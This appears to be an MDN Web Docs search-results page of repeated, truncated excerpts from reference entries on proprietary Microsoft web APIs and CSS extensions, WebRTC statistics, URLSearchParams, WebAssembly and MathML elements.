in the file system api, a filesystemsync object represents a file system. it has two properties. about this document this document was last updated on march 2, 2012 and follows the w3c specifications (working draft) drafted on april 19, 2011. the specification is abandonned for the moment, failing to get significant traction. basic concepts the filesystemsync object is your gateway to the entire api and you will use it a lot. so once you have a reference, cache the object in a global variable or class property. attributes attribute type description name readonly domstring name of the file system. the name must be unique across the list of exposed file systems. root readonly directoryentry the root directory of the file syst...
...ctory of the file system. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...m. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...And 3 more matches
MSCandidateWindowShow - Web APIs
this proprietary method is specific to internet explorer. ...
... bubbles no cancelable no note windows 8.1 and windows 7 imes for certain languages on internet explorer for the desktop might not support this event. on internet explorer in the new windows ui, this event is supported in windows 8.1 imes of all languages. syntax event property object.oncandidatewindowshow = handler; addeventlistener method object.addeventlistener("mscandidatewindowshow", handler, usecapture) parameters pevtobj [in] type: ihtmleventobj pointer to an ihtmleventobj interface for the current event. this event fires after the positioning information of the ime candidate window has been determined. you can obtain the positioning information using the getcandidatewindowclientrect method, and adjust your layout as needed to avoid any occ...
...btain the positioning information using the getcandidatewindowclientrect method, and adjust your layout as needed to avoid any occlusions with the ime candidate window. web applications need only register for this event once per element (the handler will remain valid for the lifetime of the element). ...
...And 3 more matches
msPlayToPrimary - Web APIs
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. msplaytoprimary is a read/write property which gets or sets the primary dlna playto device. this proprietary property is specific to internet explorer and microsoft edge. ...
...ack. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. msplaytoprimary is a read/write property which gets or sets the primary dlna playto device. this proprietary property is specific to internet explorer and microsoft edge. syntax ptr = object.msplaytoprimary; value boolean value set to true indicates that the device is the primary dlna playto device, otherwise false. ...
... sets the primary dlna playto device. this proprietary property is specific to internet explorer and microsoft edge. syntax ptr = object.msplaytoprimary; value boolean value set to true indicates that the device is the primary dlna playto device, otherwise false. ...
...And 3 more matches
Navigator.msLaunchUri() - Web APIs
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the mslaunchuri() method is a microsoft extension to the navigator interface, which starts a service or app, such as an email client, that handles a given protocol. ...
...uri() method is a microsoft extension to the navigator interface, which starts a service or app, such as an email client, that handles a given protocol. the uniform resource identifier (uri) contains the protocol for the default service or app, such as mailto://test@contoso.com. this proprietary method is specific to internet explorer, and microsoft edge versions 18 and lower. ...
... a service or app, such as an email client, that handles a given protocol. the uniform resource identifier (uri) contains the protocol for the default service or app, such as mailto://test@contoso.com. this proprietary method is specific to internet explorer, and microsoft edge versions 18 and lower. syntax navigator.mslaunchuri(uri, successcallback, nohandlercallback); parameters uri a domstring specifying the url containing including the protocol of the document or resource to be displayed. successcallbackoptional a function matching the signature of mslaunchuricallback to be executed if the protocol handler is present. nohandlercallbackoptional a function matching mslaunchuricallback to be executed if the protocol handler is not present. return value undefined. usage...
...And 3 more matches
RTCInboundRtpStreamStats - Web APIs
averagertcpinterval a floating-point value indicating the average rtcp interval between two consecutive compound rtcp packets. bytesreceived a 64-bit integer which indicats the total numer of bytes that have been received so far for this media source. ...
... averagertcpinterval a floating-point value indicating the average rtcp interval between two consecutive compound rtcp packets. bytesreceived a 64-bit integer which indicats the total numer of bytes that have been received so far for this media source. ...
...mented when fec packets arrive in-band along with media content; this can happen with opus, for example. fircount an integer value which indicates the total number of full intra request (fir) packets which this receiver has sent to the sender. this is an indicator of how often the stream has lagged, requiring frames to be skipped in order to catch up. this value is only available for video streams. framesdecoded a long integer value indicating the total number of frames of video which have been correctly decoded so far for this media source. this is the number of frames that would have been rendered if none were dropped. only valid for video streams. lastpacketreceivedtimestamp a domhighrestimestamp indicating the time at which the last packet was received for this source. the timestam...
...And 3 more matches
URLSearchParams() - Web APIs
the urlsearchparams() constructor creates and returns a new urlsearchparams object. note: this feature is available in web workers. syntax var urlsearchparams = new urlsearchparams(init); parameters init optional one of: a usvstring, which will be parsed from application/x-www-form-urlencoded format. a leading '?' character is ignored. a sequence of usvstring pairs, representing names/values. a record of usvstring keys and usvstring values. return value a urlsearchparams object instance. examples the following example shows how to create a urlsearchparams object from a url string. ...
...e of: a usvstring, which will be parsed from application/x-www-form-urlencoded format. a leading '?' character is ignored. a sequence of usvstring pairs, representing names/values. a record of usvstring keys and usvstring values. return value a urlsearchparams object instance. examples the following example shows how to create a urlsearchparams object from a url string. ...
...g '?' character is ignored. a sequence of usvstring pairs, representing names/values. a record of usvstring keys and usvstring values. return value a urlsearchparams object instance. examples the following example shows how to create a urlsearchparams object from a url string. ...
...And 3 more matches
msWriteProfilerMark - Web APIs
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the mswriteprofilermark method writes a profiling event. this proprietary method is specific to internet explorer and microsoft edge. ...
...s non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the mswriteprofilermark method writes a profiling event. this proprietary method is specific to internet explorer and microsoft edge. syntax window.mswriteprofilermark("start-render"); parameters bstrprofilermarkname[in] an event name. type = string. this parameter may be null. ...
...ilermark method writes a profiling event. this proprietary method is specific to internet explorer and microsoft edge. syntax window.mswriteprofilermark("start-render"); parameters bstrprofilermarkname[in] an event name. type = string. this parameter may be null. return value type: hresult. if this method succeeds, it returns s_ok. otherwise, it returns an hresult error code. notes mswriteprofilermark enables you to inject dom based performance markers in addition to existing javascript api to learn exactly when parts of the page are being rendered, building a waterfall view for every one of our impressions showing latency per object, which can be useful for more accurately debugging real users perf issues. internet explorer 10. this method is also available in the web worker...
...And 3 more matches
msthumbnailclick - Web APIs
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the msthumbnailclick event occurs when a user clicks a button or thumbnail icon in the taskbar. this proprietary method is specific to internet explorer and microsoft edge. ...
...oduction sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the msthumbnailclick event occurs when a user clicks a button or thumbnail icon in the taskbar. this proprietary method is specific to internet explorer and microsoft edge. syntax event property object.onmsthumbnailclick = handler; addeventlistener method object.addeventlistener("msthumbnailclick", handler, usecapture) general info synchronous no bubbles no cancelable no note the onmsthumbnailclick event is available only to documents that are launched from a pinned site shortcut. parameters pevtobj [in] type: ihtmleventobj pointer to an ihtmleventobj interface ...
...fo synchronous no bubbles no cancelable no note the onmsthumbnailclick event is available only to documents that are launched from a pinned site shortcut. parameters pevtobj [in] type: ihtmleventobj pointer to an ihtmleventobj interface for the current event. ...
...And 3 more matches
WebAssembly.Module.customSections() - JavaScript
sectionname the string name of the desired custom section. return value a (possibly empty) array containing arraybuffer copies of the contents of all custom sections matching sectionname. exceptions if module is not a webassembly.module object instance, a typeerror is thrown. description a wasm module is comprised of a sequence of sections. ...
...dding new custom sections; you can however add a name section to your wasm during conversion from text format over to .wasm. the wast2wasm command available as part of the wabt tool has a --debug-names option — specify this during conversion to get a .wasm with a names custom section, for example: wast2wasm simple-name-section.was -o simple-name-section.wasm --debug-names examples using customsections the following example (see the custom-section.html source and live example) compiles the loaded simple-name-section.wasm byte code. we then do a check using webassembly.module.customsections, looking to see whether the module instance contains a "name" custom section by checking that its length is more than 0. since there is a "name" section in the example, an arraybuffer object is retur...
...de. we then do a check using webassembly.module.customsections, looking to see whether the module instance contains a "name" custom section by checking that its length is more than 0. since there is a "name" section in the example, an arraybuffer object is returned. webassembly.compilestreaming(fetch('simple-name-section.wasm')) .then(function(mod) { var namesections = webassembly.module.customsections(mod, "name"); if (namesections.length != 0) { console.log("module contains a name section"); console.log(namesections[0]); }; }); specifications specification webassembly javascript interfacethe definition of 'customsections()' in that specification. browser compatibility the compatibility table on this page is generated from structured data. if...
...And 3 more matches
<mstyle> - MathML
Web › MathML › Element › mstyle
displaystyle a boolean value specifying whether more vertical space is used for displayed equations or, if set to false, a more compact layout is used to display formulas. the main effect is that larger versions of operators are displayed, when displaystyle is set to true. ...
... displaystyle a boolean value specifying whether more vertical space is used for displayed equations or, if set to false, a more compact layout is used to display formulas. the main effect is that larger versions of operators are displayed, when displaystyle is set to true. ...
...the font size below scriptminsize in order to avoid unreadable small font sizes and depends on the multiplier specified in scriptsizemultiplier. scriptminsize specifies a minimum font size allowed due to changes in scriptlevel. the default value is 8pt. scriptsizemultiplier specifies the multiplier to be used to adjust font size due to changes in scriptlevel. the default value is 0.71. ...
...And 3 more matches
-ms-content-zoom-snap - Archive of obsolete content
the -ms-content-zoom-snap css shorthand property is a microsoft extension that specifies values for the -ms-content-zoom-snap-type and -ms-content-zoom-snap-points properties. initial valueas each of the properties of the shorthand:-ms-content-zoom-snap-type: none-ms-content-zoom-snap-points: snapinterval(0%, 100%)applies tonon-replaced block-level elements and non-replaced inline-block elementsinheritednocomputed valueas each of the properties of the shorthand:-ms-content-zoom-snap-type: as specified-ms-content-zoom-snap-points: as specifiedanimation typediscrete syntax the -ms-content-zoom-snap shorthand property is specified as one or both of the following content zoom snap values, in order, separated by spaces. ...
...block-level elements and non-replaced inline-block elementsinheritednocomputed valueas each of the properties of the shorthand:-ms-content-zoom-snap-type: as specified-ms-content-zoom-snap-points: as specifiedanimation typediscrete syntax the -ms-content-zoom-snap shorthand property is specified as one or both of the following content zoom snap values, in order, separated by spaces. values -ms-content-zoom-snap-type value of the -ms-content-zoom-snap-type property. -ms-content-zoom-snap-points value of the -ms-content-zoom-snap-points property. ...
... starting with windows 8.1, this property is also supported for touchpad interaction. ...
...And 2 more matches
-ms-scroll-chaining - Archive of obsolete content
the -ms-scroll-chaining css property is a microsoft extension that specifies the scrolling behavior that occurs when a user hits the scroll limit during a manipulation. initial valuechainedapplies tonon-replaced block-level elements and non-replaced inline-block elementsinheritednocomputed valueas specifiedanimation typediscrete syntax values chained initial value. the nearest scrollable parent element begins scrolling when the user hits a scroll limit during any manipulation. no bounce effect is shown. none a bounce effect is shown when the user hits a scroll limit during any manipulation. formal syntax chained | none examples the following example illustrates the -ms-scroll-chaining property in use. ...
...he nearest scrollable parent element begins scrolling when the user hits a scroll limit during any manipulation. no bounce effect is shown. none a bounce effect is shown when the user hits a scroll limit during any manipulation. formal syntax chained | none examples the following example illustrates the -ms-scroll-chaining property in use. in this case the image container has its -ms-scroll-chaining property set to chained, which means that when a user is scrolling through a nested scrollable element and it hits its boundary the parent scrollable element will begin to scroll in the same direction. had the -ms-scroll-chaining property been set to none, the user would observe a bounce effect when the nested element reaches its boundary. for more information, see html scrolling,...
...t and it hits its boundary the parent scrollable element will begin to scroll in the same direction. had the -ms-scroll-chaining property been set to none, the user would observe a bounce effect when the nested element reaches its boundary. for more information, see html scrolling, panning and zooming sample or internet explorer 10 scrolling, panning, and zooming with touch. ...
...And 2 more matches
-ms-scroll-snap-x - Archive of obsolete content
the -ms-scroll-snap-x css shorthand property is a microsoft extension that specifies values for the -ms-scroll-snap-type and -ms-scroll-snap-points-x properties. initial valueas each of the properties of the shorthand:-ms-scroll-snap-type: none-ms-scroll-snap-points-x: snapinterval(0px, 100%)applies tonon-replaced block-level elements and non-replaced inline-block elementsinheritednocomputed valueas each of the properties of the shorthand:-ms-scroll-snap-type: as specified-ms-scroll-snap-points-x: as specifiedanimation typediscrete syntax values the -ms-scroll-snap-x shorthand property is specified as one or both of the following values, in order and separated by spaces. -ms-scroll-snap-type the value of the -ms-scroll-snap-type property. ...
...lock elementsinheritednocomputed valueas each of the properties of the shorthand:-ms-scroll-snap-type: as specified-ms-scroll-snap-points-x: as specifiedanimation typediscrete syntax values the -ms-scroll-snap-x shorthand property is specified as one or both of the following values, in order and separated by spaces. -ms-scroll-snap-type the value of the -ms-scroll-snap-type property. -ms-scroll-snap-points-x the value of the -ms-scroll-snap-points-x property. formal syntax <'-ms-scroll-snap-type'> <'-ms-scroll-snap-points-x'> examples the -ms-scroll-snap-x property is a shorthand property. the two selectors in the following example have the same effect. ...
... remarks this property requires windows 8 or later. this property has no effect on non-scrollable elements. ...
...And 2 more matches
-ms-scroll-snap-y - Archive of obsolete content
the -ms-scroll-snap-x css shorthand property is a microsoft extension that specifies values for the -ms-scroll-snap-type and -ms-scroll-snap-points-y properties. initial valueas each of the properties of the shorthand:-ms-scroll-snap-type: none-ms-scroll-snap-points-y: snapinterval(0px, 100%)applies tonon-replaced block-level elements and non-replaced inline-block elementsinheritednocomputed valueas each of the properties of the shorthand:-ms-scroll-snap-type: as specified-ms-scroll-snap-points-y: as specifiedanimation typediscrete syntax values the -ms-scroll-snap-y shorthand property is specified as one or both of the following values, in order and separated by spaces. -ms-scroll-snap-type the value of the -ms-scroll-snap-type property. ...
...lock elementsinheritednocomputed valueas each of the properties of the shorthand:-ms-scroll-snap-type: as specified-ms-scroll-snap-points-y: as specifiedanimation typediscrete syntax values the -ms-scroll-snap-y shorthand property is specified as one or both of the following values, in order and separated by spaces. -ms-scroll-snap-type the value of the -ms-scroll-snap-type property. -ms-scroll-snap-points-y the value of the -ms-scroll-snap-points-y property. formal syntax <'-ms-scroll-snap-type'> <'-ms-scroll-snap-points-y'> examples the -ms-scroll-snap-y property is a shorthand property. the two selectors in the following example have the same effect. ...
... remarks this property requires windows 8 or later. this property has no effect on non-scrollable elements. ...
...And 2 more matches
::-ms-fill-lower - Archive of obsolete content
other properties are ignored. ...
...other properties are ignored. ...
... browser compatibility historically supported in internet explorer and edge before version 79. ...
...And 2 more matches
::-ms-ticks-after - Archive of obsolete content
other properties are ignored. ...
...other properties are ignored. ...
...other properties are ignored. ...
...And 2 more matches
::-ms-ticks-before - Archive of obsolete content
other properties are ignored. ...
...other properties are ignored. ...
...other properties are ignored. ...
...And 2 more matches
XInclude - MDN Web Docs Glossary: Definitions of Web-related terms
ns (xinclude) is a w3c recommendation to allow inclusion of xml more different sources in a more convenient fashion than xml external entities. when used in conjunction with xpointer (firefox supports a subset of it, and is used in the code sample below), xinclude can also target just specific portions of a document for inclusion. ...
... in a more convenient fashion than xml external entities. when used in conjunction with xpointer (firefox supports a subset of it, and is used in the code sample below), xinclude can also target just specific portions of a document for inclusion. firefox does not support it natively, but the following function aims to allow its use with documents passed into it. ...
...port it natively, but the following function aims to allow its use with documents passed into it. code sample the following code aims to let <xi:include> and <xi:fallback> tags (the two elements in the language) with all of the attributes of <xi:include> be included in an xml document so as to be resolvable into a single xml document. (note that this has not been thoroughly tested for all circumstances and may not necessarily reflect the standard behavior completely.) note also that if you wish to allow xml:base, you will need the xml:base function, and the line beginning var href = ... should become: var href = getxmlbaselink (/* xlink sans xml:base */ xinclude.getattribute('href'), /* element to query from */ xinclude); function resolvexincludes(docu) { // http://www.w3.org/tr/xi...
...And 2 more matches
nsIDOMSimpleGestureEvent
the following events are generated: mozswipegesture - generated when the user completes a swipe across across the input device. mozmagnifygesturestart - generated when the user begins the magnify ("pinch") gesture. the "delta" value represents the initial movement. ...
... the following events are generated: mozswipegesture - generated when the user completes a swipe across across the input device. mozmagnifygesturestart - generated when the user begins the magnify ("pinch") gesture. the "delta" value represents the initial movement. ...
...t coordinates contain the center point of the tap. (xxx not implemented on mac) mozpresstapgesture - generated when the user executes a press and tap two finger gesture (first finger down, second finger down, second finger up, first finger up) on the input device. client coordinates contain the center pivot point of the action. ...
...And 2 more matches
nsIMsgIdentity
the nsimsgidentity interface contains all the personal outgoing mail information for a given person. each identity is identified by a key, which is the id string in the identity preferences, such as in mail.identity.<id>.replyto. ...
... the nsimsgidentity interface contains all the personal outgoing mail information for a given person. each identity is identified by a key, which is the id string in the identity preferences, such as in mail.identity.<id>.replyto. ...
...lf boolean note: don't call bccself, bccothers, and bcclist directly, they are only used for migration and backward compatability. use dobcc and dobcclist instead. bccothers boolean bcclist astring dobcc boolean dobcclist astring draftfolder astring stationeryfolder astring showsavemsgdlg boolean directoryserver astring overrideglobalpref boolean autocompletetomydomain boolean if this is false, don't append the user's domain to an autocomplete address with no matches. valid boolean determines if the ui should use this identity and the wizard uses this to determine whether or not to ask the user to complete...
...And 2 more matches
nsIMsgSearchValue
defined in comm-central/ mailnews/ base/ search/ public/ nsimsgsearchvalue.idl #include "nsmsgsearchcore.idl" interface nsimsgfolder; [scriptable, uuid(783758a0-cdb5-11dc-95ff-0800200c9a66)] interface nsimsgsearchvalue : nsisupports { // type of object attribute nsmsgsearchattribvalue attrib; // accessing these will throw an exception if the above // attribute does not match the type! ...
...blic/ nsimsgsearchvalue.idl #include "nsmsgsearchcore.idl" interface nsimsgfolder; [scriptable, uuid(783758a0-cdb5-11dc-95ff-0800200c9a66)] interface nsimsgsearchvalue : nsisupports { // type of object attribute nsmsgsearchattribvalue attrib; // accessing these will throw an exception if the above // attribute does not match the type! ...
...ce nsimsgfolder; [scriptable, uuid(783758a0-cdb5-11dc-95ff-0800200c9a66)] interface nsimsgsearchvalue : nsisupports { // type of object attribute nsmsgsearchattribvalue attrib; // accessing these will throw an exception if the above // attribute does not match the type! ...
...And 2 more matches
nsIMsgSearchValue
defined in comm-central/ mailnews/ base/ search/ public/ nsimsgsearchvalue.idl #include "nsmsgsearchcore.idl" interface nsimsgfolder; [scriptable, uuid(783758a0-cdb5-11dc-95ff-0800200c9a66)] interface nsimsgsearchvalue : nsisupports { // type of object attribute nsmsgsearchattribvalue attrib; // accessing these will throw an exception if the above // attribute does not match the type! ...
...blic/ nsimsgsearchvalue.idl #include "nsmsgsearchcore.idl" interface nsimsgfolder; [scriptable, uuid(783758a0-cdb5-11dc-95ff-0800200c9a66)] interface nsimsgsearchvalue : nsisupports { // type of object attribute nsmsgsearchattribvalue attrib; // accessing these will throw an exception if the above // attribute does not match the type! ...
...ce nsimsgfolder; [scriptable, uuid(783758a0-cdb5-11dc-95ff-0800200c9a66)] interface nsimsgsearchvalue : nsisupports { // type of object attribute nsmsgsearchattribvalue attrib; // accessing these will throw an exception if the above // attribute does not match the type! ...
...And 2 more matches
AudioContext.createMediaStreamSource() - Web APIs
return value a new mediastreamaudiosourcenode object representing the audio node whose media is obtained from the specified source stream. ...
...ce() method of the audiocontext interface is used to create a new mediastreamaudiosourcenode object, given a media stream (say, from a mediadevices.getusermedia instance), the audio from which can then be played and manipulated. for more details about media stream audio source nodes, check out the mediastreamaudiosourcenode reference page. syntax audiosourcenode = audiocontext.createmediastreamsource(stream); parameters stream a mediastream to serve as an audio source to be fed into an audio processing graph for use and manipulation. return value a new mediastreamaudiosourcenode object representing the audio node whose media is obtained from the specified source stream. example in this example, we grab a media (audio + video) stream from navigator.getusermedia, feed the media i...
...usermedia ({audio: true, video: true}) .then(function(stream) { video.srcobject = stream; video.onloadedmetadata = function(e) { video.play(); video.muted = true; }; // create a mediastreamaudiosourcenode // feed the htmlmediaelement into it var audioctx = new audiocontext(); var source = audioctx.createmediastreamsource(stream); // create a biquadfilter var biquadfilter = audioctx.createbiquadfilter(); biquadfilter.type = "lowshelf"; biquadfilter.frequency.value = 1000; biquadfilter.gain.value = range.value; // connect the audiobuffersourcenode to the gainnode // and the gainnode to the destination, so we can play the // music and adjust the ...
...And 2 more matches
DocumentOrShadowRoot.msElementsFromRect() - Web APIs
the mselementsfromrect method returns the node list of elements that are under a rectangle defined by left, top, width, and height. this proprietary method is specific to internet explorer and microsoft edge. syntax object.mselementsfromrect(left, top, width, height, retval) parameters left [in] type: floating-point top[in] type: floating-point width[in] type: floating-point height [in] type: floating-point retval [out, reval] type: nodelist example to find all of the elements under a given point, use mselementsfrompoint(x, y). to find all of the elements which intersect a rectangle, use mselementsfromrect(top, left, width, height). ...
...eters left [in] type: floating-point top[in] type: floating-point width[in] type: floating-point height [in] type: floating-point retval [out, reval] type: nodelist example to find all of the elements under a given point, use mselementsfrompoint(x, y). to find all of the elements which intersect a rectangle, use mselementsfromrect(top, left, width, height). ...
...ting-point width[in] type: floating-point height [in] type: floating-point retval [out, reval] type: nodelist example to find all of the elements under a given point, use mselementsfrompoint(x, y). to find all of the elements which intersect a rectangle, use mselementsfromrect(top, left, width, height). ...
...And 2 more matches
MSManipulationEvent - Web APIs
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. msmanipulationevent provides contextual information when contact is made to the screen and an element is manipulated. this proprietary method is specific to internet explorer. events msmanipulationstatechanged: event fires when the state of an element being manipulated has changed. methods msmanipulationevent.initmsmanipulationevent(): used to create a manipulation event that can be called from javascript. properties property description currentstateread only retu...
... state of a manipulation event. inertiadestinationxread only represents the predicted horizontal scroll offset after the inertia phase completes. inertiadestinationyread only represents the predicted vertical scroll offset after the inertia phase completes. laststateread only returns the last state after a manipulation change event. ...
... represents the predicted vertical scroll offset after the inertia phase completes. laststateread only returns the last state after a manipulation change event. ...
...And 2 more matches
MSSiteModeEvent - Web APIs
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. mssitemodeevent provides event properties that are specific to pinned site events. this proprietary method is specific to internet explorer and microsoft edge. dom information inheritance hierarchy event mssitemodeevent methods method description initevent initializes a new generic event that the createevent method created. *note that as of microsoft edge, the createevent()/initevent() constructor pattern for synthetic events is deprecated. preventde...
...nt gets the element that the event was originally dispatched to. compare to target. target gets the element that is the target of the event. timestamp gets the time, in milliseconds, when an event occurred. ...
... target gets the element that is the target of the event. timestamp gets the time, in milliseconds, when an event occurred. type gets the name of an event. ...
...And 2 more matches
msGraphicsTrustStatus - Web APIs
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. msgraphicstruststatus is a read-only property which returns an object containing information on protected video playback. ...
...sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. msgraphicstruststatus is a read-only property which returns an object containing information on protected video playback. this proprietary property is specific to internet explorer and microsoft edge. ...
...lementations and the behavior may change in the future. msgraphicstruststatus is a read-only property which returns an object containing information on protected video playback. this proprietary property is specific to internet explorer and microsoft edge. syntax status = object.msgraphicstruststatus; example //specifies the output device id that the audio will be sent to. ...
...And 2 more matches
msPlayToPreferredSourceUri - Web APIs
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. msplaytopreferredsourceuri is a read/write property which gets or sets the path to the preferred media source. ...
...this enables web pages and microsoft store apps to play digital rights management (drm) protected content. ...
...aytopreferredsourceuri is a read/write property which gets or sets the path to the preferred media source. this enables the playto target device to stream the media content, which can be drm protected, from a different location, such as a cloud media server. this proprietary property is specific to internet explorer and microsoft edge. syntax ptr = object.msplaytopreferredsourceuri; value msplaytopreferredsourceuri enables a playto reference (a uri or url) for streaming content on the playto target device from a different location, such as a cloud media server. this enables web pages and microsoft store apps to play digital rights management (drm) protected content. the app specifies a preferred uniform resource identifier (uri). this uri can point to a cloud based media server allow...
...And 2 more matches
PublicKeyCredentialCreationOptions.pubKeyCredParams - Web APIs
as of this writing (march 2019), only "public-key" may be used. alg a numeric identifier for the algorithm to be used to generate the key pair. ...
...redparams property of the publickeycredentialcreationoptions dictionary is an array whose elements are objects describing the desired features of the credential to be created. these objects define the type of public-key and the algorithm used for cryptographic signature operations. if this array contains multiple elements, they are sorted by descending order of preference. syntax pubkeycredparams = publickeycredentialcreationoptions.pubkeycredparams value an array whose elements are objects with the following properties: type a string describing type of public-key credential to be created. as of this writing (march 2019), only "public-key" may be used. alg a numeric identifier for the algorithm to be used to generate the key pair. ...
...redparams = publickeycredentialcreationoptions.pubkeycredparams value an array whose elements are objects with the following properties: type a string describing type of public-key credential to be created. as of this writing (march 2019), only "public-key" may be used. alg a numeric identifier for the algorithm to be used to generate the key pair. the links between identifier and algorithms are defined in this iana registry (e.g. -7 indicates the elliptic curve algorithm ecdsa with sha-256). though those elements are sorted by preference (the first element being the most prefered), it is up to the client to choose among those elements for building the credential. ...
...And 2 more matches
RTCInboundRtpStreamStats.perDscpPacketsReceived - Web APIs
each key is the string representation of a single differentiated services code point (dscp)'s id number. ...
...each key is the string representation of a single differentiated services code point (dscp)'s id number. ...
...each key is the string representation of a single differentiated services code point (dscp)'s id number. ...
...And 2 more matches
RTCOutboundRtpStreamStats.perDscpPacketsSent - Web APIs
each key is the string representation of a single differentiated services code point (dscp)'s id number. ...
...each key is the string representation of a single differentiated services code point (dscp)'s id number. ...
...each key is the string representation of a single differentiated services code point (dscp)'s id number. ...
...And 2 more matches
RTCRtpSender.setStreams() - Web APIs
the rtcrtpsender method setstreams() associates the sender's track with the specified mediastream or array of mediastream objects. syntax rtcrtpsender.setstreams(mediastream); rtcrtpsender.setstreams([mediastream...]); parameters mediastream or [mediastream...] optional an mediastream object—or an array of multiple mediastream objects—identifying the streams to which the rtcrtpsender's track belongs. if this parameter isn't specified, no new streams will be associated with the track. return value none. exceptions invalidstateerror the sender's connection is closed. description setstreams() is purely additive. it doesn't remove the track from any streams; it simply adds it to new ones. ...
... example this example adds all of an rtcpeerconnection's tracks to the specified stream. ...
... example this example adds all of an rtcpeerconnection's tracks to the specified stream. ...
...And 2 more matches
RTCRtpStreamStats.ssrc - Web APIs
the manner in which these values are generated is not mandated by the specification, although it does make recommendations. ...
... the manner in which these values are generated is not mandated by the specification, although it does make recommendations. ...
... the manner in which these values are generated is not mandated by the specification, although it does make recommendations. ...
...And 2 more matches
SpeechGrammarList.addFromString() - Web APIs
weight optional a float representing the weight of the grammar relative to other grammars present in the speechgrammarlist. the weight means the importance of this grammar, or the likelihood that it will be recognised by the speech recognition service. the value can be between 0.0 and 1.0; if not specified, the default used is 1.0. ...
... weight optional a float representing the weight of the grammar relative to other grammars present in the speechgrammarlist. the weight means the importance of this grammar, or the likelihood that it will be recognised by the speech recognition service. the value can be between 0.0 and 1.0; if not specified, the default used is 1.0. ...
...mmars present in the speechgrammarlist. the weight means the importance of this grammar, or the likelihood that it will be recognised by the speech recognition service. the value can be between 0.0 and 1.0; if not specified, the default used is 1.0. ...
...And 2 more matches
URLSearchParams.getAll() - Web APIs
specifications specification status comment urlthe definition of 'getall()' in that specification. ...
... specifications specification status comment urlthe definition of 'getall()' in that specification. ...
... specifications specification status comment urlthe definition of 'getall()' in that specification. ...
...And 2 more matches
msCapsLockWarningOff - Web APIs
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the mscapslockwarningoff read/write property turns automatic caps lock warning on or off for validated password input fields. this proprietary property is specific to internet explorer and microsoft edge. starting with internet explorer 10, input type=password fields will automatically display a warning if the caps lock is on. this property enables this warning to be disabled. syntax document.mscapslockwarningoff = true; value type: boolean false: default. automatic caps lock warning is tu...
...d fields will automatically display a warning if the caps lock is on. this property enables this warning to be disabled. syntax document.mscapslockwarningoff = true; value type: boolean false: default. automatic caps lock warning is turned on. true: automatic caps lock warning is turned off. ...
...ment.mscapslockwarningoff = true; value type: boolean false: default. automatic caps lock warning is turned on. true: automatic caps lock warning is turned off. ...
...And 2 more matches
-ms-high-contrast - CSS: Cascading Style Sheets
values none ... no longer supported as of microsoft edge 18. ...
... contrast mode, and with what color variation. high contrast mode is a specialized display mode that prioritizes making content as legible as possible by dynamically replacing foreground and background colors with a user-specified theme. for web content, theme colors are mapped to content types. this media feature applies to bitmap media types. it does not accept min/max prefixes. syntax the -ms-high-contrast media feature is specified as one of the following values. values none ... no longer supported as of microsoft edge 18. active indicates that the subsequent styling rules will be applied when the system is placed in high contrast mode with any color variation. black-on-white indicates that the subsequent styling rules will be applied when the system is placed in hi...
...yling rules will be applied when the system is placed in high contrast mode with a white-on-black color variation. formal syntax syntax not found in db! examples the following declarations will match applications that are being displayed in high contrast mode with any color variation, a black-on-white color variation, and a white-on-black color variation, respectively. ...
...And 2 more matches
Coordinate systems - CSS: Cascading Style Sheets
when specifying the location of a pixel in a graphics context (just like when specifying coordinate systems in algebra), its position is defined relative to a fixed point in the context. this fixed point is called the origin. the position is specified as the number of pixels offset from the origin along each dimension of the context. this guide describes the standard coordinate systems used by the css object model. these are generally only different in terms of where their origin is located. dimensions in the coordinate systems used by web technologies, convention dictates that the horizontal offset is called the x-coordinate, where a negative value indicates a position to the left of the origin and a positive value is to the right of the origin. the y-coordinate specifies the vertical o...
... is at the bottom-left corner, with positive y-coordinate values being above the origin. when drawing 3d graphics, or using a third dimension to layer objects from front to back, the z-coordinate is also used. this specifies the distance away from the viewer if positive and toward the viewer if negative. it's actually possible to change the definitions and orientations of these coordinate systems using css properties such as transform. however, we'll only talk about the standard coordinate system for now. standard cssom coordinate systems there are four standard coordinate systems used by the css object model, as described below. offset coordinates specified using the "offset" model use the top-left corner of the element being examined, or on which an event has occurred. for example...
... event's position relative to the screen's origin. example let's take a look at an example. this simple example creates a set of nested boxes. whenever the mouse enters, moves around inside, or exits the inner box, the corresponding event is handled by updating a set of informational messages within the box, listing out the current mouse coordinates in each of the four available coordinate systems. ...
...And 2 more matches
<ms> - MathML
Web › MathML › Element › ms
attributes class, id, style provided for use with stylesheets. dir the text direction. possible values are either ltr (left to right) or rtl (right to left). lquote the opening quote character (depends on dir) to enclose the content. ...
... attributes class, id, style provided for use with stylesheets. dir the text direction. possible values are either ltr (left to right) or rtl (right to left). lquote the opening quote character (depends on dir) to enclose the content. the default value is "&quot;". ...
